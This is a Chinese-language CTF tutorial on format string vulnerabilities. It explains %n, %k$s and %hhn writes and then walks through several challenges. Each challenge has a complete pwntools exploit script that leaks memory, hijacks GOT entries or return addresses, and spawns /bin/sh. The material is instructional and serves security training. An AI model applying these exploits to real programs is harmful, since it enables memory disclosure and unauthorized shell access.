具体见:利用 - CTF Wiki (ctf-wiki.org)

写法

在使用printf函数时,会用到如下内容:

1
2
3
4
5
%d			//打印整数
%x //打印十六进制
%p //打印指针数值(32位打印4字节,64位打印8字节)
%s //打印字符串(打印地址指向的内容)
%n //将该格式化之前的字符数量通过地址存入变量中;

这里重点说明下 %s,%n;

%s 虽说时用来打印字符串的,但其本质是将参数视作指针,打印指针指向的内容,一直显示到 ‘\x00’ ,当使用 recv() 函数接收时,得到的是 byte 类型,所以可以得到 int 类型;

%n 如下图所示:

%n

它将存储出现在 %n 之前的字符数量到对应的参数变量中,本身不会有任何显示;

如上图实际打印的内容是: “geeks for geeks” ;

且 %n 一般跑在gcc编译的c中,Windows上的编译器会有问题;

同样只能跑在 gcc 中的另类写法,也是格式化字符串利用的核心:

1
%3$x

用下面代码举例,上面的写法会打印出printf的第4个参数的hex形式,也就是c;

1
printf("%3$x",a,b,c,d);

3的意思是从格式化字符串开始往后算的第三个参数,x表示格式;

原理

在32位程序中,调用函数时,变量都是存在栈上的,比如当调用下示代码时,会有如此的栈格式:

1
printf("%3$x",a,b,c,d);

栈:

ebp-> 0xold_ebp //printf函数内部栈帧
0地址 0xretaddr //返回地址
1地址 0xstringaddr //格式化字符串 “%3$x” 地址
2地址 a
3地址 b
4地址 c
5地址 d

当然真实情况中,这些参数的顺序会有变化(一般就是这样),但是可以通过调试确定下来;

格式化字符串符号 % 的作用就是:读取栈中这些变量的内容,对应的将其打印出来;

第一个%打印第一个参数,第二个%打印第二个参数,也就是栈中的a,b;

当然用特殊的写法可打印对应的参数的内容;

泄露内存

利用 %k$p 获取数据内容,利用 %k$s 获取指针指向的内容,利用 [AimAddr]%k$s 获取指定地址处的内容;

泄露栈变量内存

考虑如下代码:

1
printf("%2$x");

它没有跟参数能这样写吗?

答案是可以,拿上面用表格画的栈图来说,此时它的作用就是将3地址的内容以十六进制打印出来,尽管此时3地址里放的是奇怪的东西;

于是就可以先算出想要得到的 在main栈帧 里的数据对于地址1的间隔 k;

比如现在main中想得到其上级函数的ebp值,调试可知ebp的值存于 m地址 中,那么 k 就应该是:
$$
k = (m地址 - 1地址) / 指针长度
$$
指针长度即为对齐,32位是4,64位是8;

此时执行 printf("%k$p"); 便可得到main中储存的上级函数ebp的值;

这个k的数值,也同样是printf函数的第 k+1 个参数,因为1地址中存的是格式化字符串,也就是printf函数的第 1 个参数;

泄露以变量为指针指向的内存

还记得 %s 的作用吗,它会打印出以变量为指针所指的内容;

got表就是一个指针,对于在got表地址上的函数,其实都是指向其真实存在的地址的指针;

假设scanf在got中的地址就是0x12345678,那么利用如下代码,便可打印出 scanf 函数的真实地址:

1
printf("0x12345678%x%k$s");

当此格式化字符串在输出函数调用时是第 k+1个参数的时候,这么写,就能让 %k$s 去格式化 0x12345678 字符串,从而就能得到 0x12345678 指向的内容,进而打印出来得到 scanf 真正的地址;

但很多时候,第k + 1个参数是 “3456..” 或者干脆 “烫烫烫0x1234..” 诸如此类的;

意思是,它并没有对齐,所以当调试结果为上述情况时,请在0x12345678地址前添加垃圾信息,使得在 整数倍的 k + 1 上能够直接拿到 0x12345678 地址,进而使得后面的特殊写法打印出该地址指向的内容;

获取栈中指定指针内存就没那么麻烦了,正如泄露变量内存一样的写法,只是将p改为s;

覆盖内存

这个时候,%n会帮大忙,它可以将其对应参数视为指针,以int型填入在%n前面的字符数量;

所以当知道要覆盖内存的地址,格式化字符串相对于输出函数的偏移就可以进行覆盖了;

具体格式如下:

1
printf("...[AimAddr]...%k$n");

如上的…为垃圾内容负责填充 AimAddr 的对齐,k要找到 AimAddr的位置,后面的…是为了与前面的字符一起扩展成想要的长度,使其填入 AimAddr 中;

覆盖小数字

此时要把 AimAddr 放在 %n 的后面,这样能控制填入的数据始终可以小于4;

具体格式如下:

1
printf("...%k$n...[AimAddr]");

此时…的作用就反转了,前面的是控制写入的数,后者为控制地址的对齐;

覆盖大数字

可以用 … 来扩展很长很长,但会使得程序的性能变低,出来的速度下降;

以 %hhn 来写,可以使得填入变量的类型为字节,以 %hn 来写,可以使得填入变量的类型为双字;

由此可以控制单个字节的覆盖;

而一个int型是需要占4个字节的,那么分别填入单字节内容,使其最后呈现出大数字的效果就行;

比如:c变量的地址为:[c],而想对其填入0x12345678则其内存中应该是如此分布的:

地址 存储
[c] 0x78
[c+1] 0x56
[c+2] 0x34
[c+3] 0x12

x86为小端序存储;

那么对应printf中的内容应该是这样的:

1
printf("...[c][c+1][c+2][c+3]...%k$hhn...%k+1$hhn...%k+2$hhn...%k+3$hhn");

使得k能找到[c]的位置,且控制 %k$hhn 前面的数量为 0x78 ,而第二个%hhn的控制数量应该是 0x156,因为只能增大,不能减小,但是填入的是一个字节的内容,所以只会填入 0x56,后面同理;

基本用法

用题来举例;

goodluck

看IDA的main函数:

main

可以看的出来整个程序逻辑为,输入后和远程服务器的flag文件比较,仅此而已;

但是它会用printf泄露出输入的内容,所以可以想到用格式化字符串的方法泄露v10的信息;

因为程序是x64,所以函数存放参数的话,是先放在前6个寄存器中,多余的参数放在栈上,所以寻找到合适的栈偏移后,需要加上6;

gdb

如上图,这是在printf函数内部,此时的栈图rsp刚刚指向返回地址,那么下面的就都可以看成是 “参数” 了;

可以看到构造的flag文件的内容被放到了rsp往下第四个,加上前6个参数,这算作printf函数的第10个参数,所以在邪路时,写为:

1
"%9$s"

用指针方式读出该flag;

解题脚本如下:

1
2
3
4
5
6
7
8
from pwn import *

p = process('./goodluck')

payload = '%9$s'
p.recvuntil("what's the flag\n")
p.sendline(payload)
print(p.recv())

hijack GOT

未开启 RELRO 保护(Partial RELRO)的程序是可以修改 GOT 表的;

那么可以覆盖System地址给目标函数的地址到got表,此时执行目标函数也就是执行System函数了;

一般步骤:

  1. 获取目标函数的got表地址:IDA查询;

  2. 获取System函数的内存地址:通过泄露计算;

  3. 写入:运用ROP或者write函数或者%n覆盖;

    1
    2
    3
    4
    //此时目标函数为printf
    pop eax; ret; # printf@got -> eax
    pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx
    add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset

看题:

查看IDA代码:

main

主函数一开始有个比较密码,这个逆向还原就行;

接下来是模拟shell,可以输入三种命令:put get dir,分别创建 file_head ,打印content,打印 file_head;

这个题里不存在栈溢出,所以没办法ret,但却是 partial relro,且有格式化字符串漏洞;

所以可以把puts的got表作为指针修改为System地址去执行,因为两个参数类型数量也一样,满足调用约定;

则binsh字符串写入file_head中,格式化字符串漏洞的内容写入content;

此时可以通过格式化字符串漏洞泄露出printf got表地址,从而得到system函数地址;

具体思路:

  1. 通过密码;
  2. 执行put,写入任意和字符串漏洞内容;
  3. 执行get,泄露system地址;
  4. 执行put,写入字符串漏洞%n覆盖got表指向地址;
  5. 执行get,完成got表覆盖;
  6. 再次执行put,写入binsh字符串;
  7. 执行dir,完成攻击;

首先通过调试把字符串漏洞的偏移确定下来为8;也就是 %7$s

通过代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

p = process('./pwn3')
elf = ELF('./pwn3')
libc = elf.libc

printfgot = elf.got['printf']
putsgot = elf.got['puts']

#输入密码
p.recvuntil("Name (ftp.hacker.server:Rainism):")
p.sendline('rxraclhm')

#执行put泄露地址
p.sendline('put')
p.sendline(b'\x00haha')
p.sendline(p32(printfgot) + b'%7$s')

#执行get
p.sendline('get')
p.recv()
p.sendline(b'\x00haha')

#泄露printf地址并计算system地址
printf_addr = u32(p.recv()[4:8])
libc.address = printf_addr - libc.symbols['printf']
system = libc.symbols['system']

#执行put覆盖地址
p.sendline('put')
p.sendline(b'\x001122')
#pwntools自行构建覆盖payload,7是字符串相对于第一个参数偏移
payload = fmtstr_payload(7,{putsgot:system})
p.sendline(payload)

#再次执行get
p.sendline('get')
p.sendline(b'\x001122')

#最后一次执行put
p.sendline('put')
p.sendline(b'/bin/sh')
p.sendline('deadbeaf')

#执行dir实现攻击
p.recv()
p.sendline('dir')
p.interactive()

至于为什么前两次发送 file_head 的时候要加\X00,是因为最后执行system(s)的时候,s会有bug,不加00的话,最后的结果是三串字符串连接在一起,导致system找不到路径;

hijack retaddr

最重要的思想:通过rbp取栈地址;

查看IDA:

main

上面是main函数,一开始会让输入账户和密码,也就是register函数,同时是两个可以利用的缓冲区;

进入choice函数后,和上道题一样,有三个选择,其中edit是重新写入账户密码,show是两次字符串漏洞,quit是执行一个puts函数;

但这道题开启了RELRO保护,所以不能和上道题一样改变puts的got表,所以思想是覆盖返回地址;

返回地址在栈上,既然要覆盖它,就必须拿到栈上的地址,那么rbp存储的内容就很值得推敲了;

在show中拥有两次字符串漏洞,分别展示之前输入的账户和密码:

1
2
3
4
5
6
int __fastcall sub_400B07(int a1, int a2, int a3, int a4, int a5, int a6, char format, int a8, __int64 a9)
{
write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
printf(&format);
return printf((const char *)&a9 + 4);
}

在此程序的地址:0x4008AA处,会发现一个system(“/bin/sh”)的调用,那么可以利用字符串漏洞覆盖返回地址为该地址;

输入se和ss并在return的printf处打下断点并查看栈图:

stack

可以看到printf的第三个参数是输入的账号,第一排为printf的返回地址,而第二个参数是show函数的返回地址,如下方汇编所示;

第一个参数是show函数的rbp指向,则旧rbp值也是指向栈的,所以可以利用旧rbp值来进行便宜计算,拿到返回地址的地址;
$$
c0 - 80 - 8 = 38
$$
则用旧rbp值减去0x38便可以得到返回choice函数地址的地址;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

#把格式化输出的地址转化为int类型的函数
def b2i(b,len):
i = len
j = 0

new_c = [0] * i
for j in range(i):
new_c[i - j - 1] = b[j]

j -= 2
res = 0
for i in range(j+1):
if (new_c[i] > 47) & (new_c[i] < 60):
res += pow(16,i) * (new_c[i] - 48)
elif (new_c[i] > 96) & (new_c[i] < 103):
res += pow(16,i) * (new_c[i] - 87)

return res


p = process('./pwnme_k0')

#第一次账号密码
p.sendline(b'Aanyway')
p.recv()
p.sendline(b'%6$p')
p.recv()

#show1用于泄露返回地址的地址
p.sendline(b'1')
retaddr = p.recv()[8:22]
retaddr = b2i(retaddr,22 - 8) - 0x38
print(hex(retaddr))

#edit第二次账号密码
p.sendline(b'2')
p.recv()
p.sendline(p64(retaddr))
p.recv()
#2218对应十六进制08AA,用hn覆盖低两个字节,因为再往上的字节实际上都是40一样的
p.sendline(b'%2218d%8$hn')
p.recv()

#show2用于返回shell
p.sendline(b'1')
p.recv()
p.interactive()

字符串盲打

字如其名,手里没有可逆向的文件,只能靠格式化字符串输入来获取远程文件的信息以攻占shell;

一般来说有如下步骤:

  • 确定程序位数
  • 确定漏洞位置
  • 利用

栈泄露

查看题目输入%p查看多少位:

aim

此图的上半部分展示了它是64位的程序;

且它有提示告知了:flag is on the stack;

那么就循环输入%p一直查看栈上的内容,正如上图的下半部分所示即可得出flag;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

#把格式化输出的地址转化为int类型的函数
def b2i(b,len):
i = len
j = 0

new_c = [0] * i
for j in range(i):
new_c[i - j - 1] = b[j]

j -= 2
res = 0
for i in range(j+1):
if (new_c[i] > 47) & (new_c[i] < 60):
res += pow(16,i) * (new_c[i] - 48)
elif (new_c[i] > 96) & (new_c[i] < 103):
res += pow(16,i) * (new_c[i] - 87)

return res

for i in range(100):
p = process('./blind')
payload = b'%%%d$p' % i
p.sendline(payload)
data = p.recv()[:18]
if data.startswith(b'0x'):
print(p64(b2i(data,18)))
p.close()

劫持got

依然是查看位数和确定字符串偏移:

blind

此时的偏移就有用了,因为要劫持got;

如图可知,偏移为:6,也就是%6$p;

程序一般是从0x400000开始,要劫持got表就需要知道got内容,所以直接用字符串漏洞的方法泄露整个程序的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

def leak(addr):
num = 0
#不断地开启关闭程序会有bug的时候,所以泄露三次
while num < 3:
try:
print('leak addr: ' + hex(addr))
p = process('./blind')
#偏移为多少,第一个便用多少+2
payload = b'%00008$s' + b'STARTEND' + p64(addr)
# 说明有\n,出现新的一行
if b'\x0a' in payload:
return None
p.sendline(payload)
data = p.recvuntil(b'STARTEND', drop=True)
p.close()
return data
except Exception:
num += 1
continue
return None


addr = 0x400000
f = open('binary','w')
while addr < 0x401000:
data = leak(addr)
if data is None:
f.write('\xff')
addr += 1
elif len(data) == 0:
f.write('\x00')
addr += 1
else:
f.write(str(data))
addr += len(data)

通用格式,直接套就行,使用之后便可得到原程序binary;

之后分析binary:

main

看得出整个程序非常简单;

可以知道的是无法利用栈溢出;

若要劫持got表也只有printf函数的;

所以思路是:

  • 泄露printf自身函数地址并计算出system;
  • 覆盖got表;
  • 输入binsh执行system函数成功攻击;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p = process('./blind')
elf = ELF('./blind')
libc = elf.libc

printfgot = elf.got['printf']

#第一次输入载入so中printf
payload = b'123'
p.sendline(payload)
p.recv()

#第二次输入泄漏printf,got地址写后面,不然会因为其高地址为0被截断
payload = b'%00008$s' + b'\x00aaaaaaa' +p64(printfgot)
p.sendline(payload)
printfaddr = p.recv()
#8位地址的高位是0,会被格式化%s截断,调试得高位有两字节为0
printfaddr += b'\x00\x00'
printfaddr = u64(printfaddr)

#计算system
libc.address = printfaddr - libc.symbols['printf']
system = libc.symbols['system']
system = p64(system)

#第三次输入覆盖
payload = fmtstr_payload(6, {printfgot: system})
p.sendline(payload)
p.recv()

#第四次输入执行system
p.sendline('/bin/sh')
p.interactive()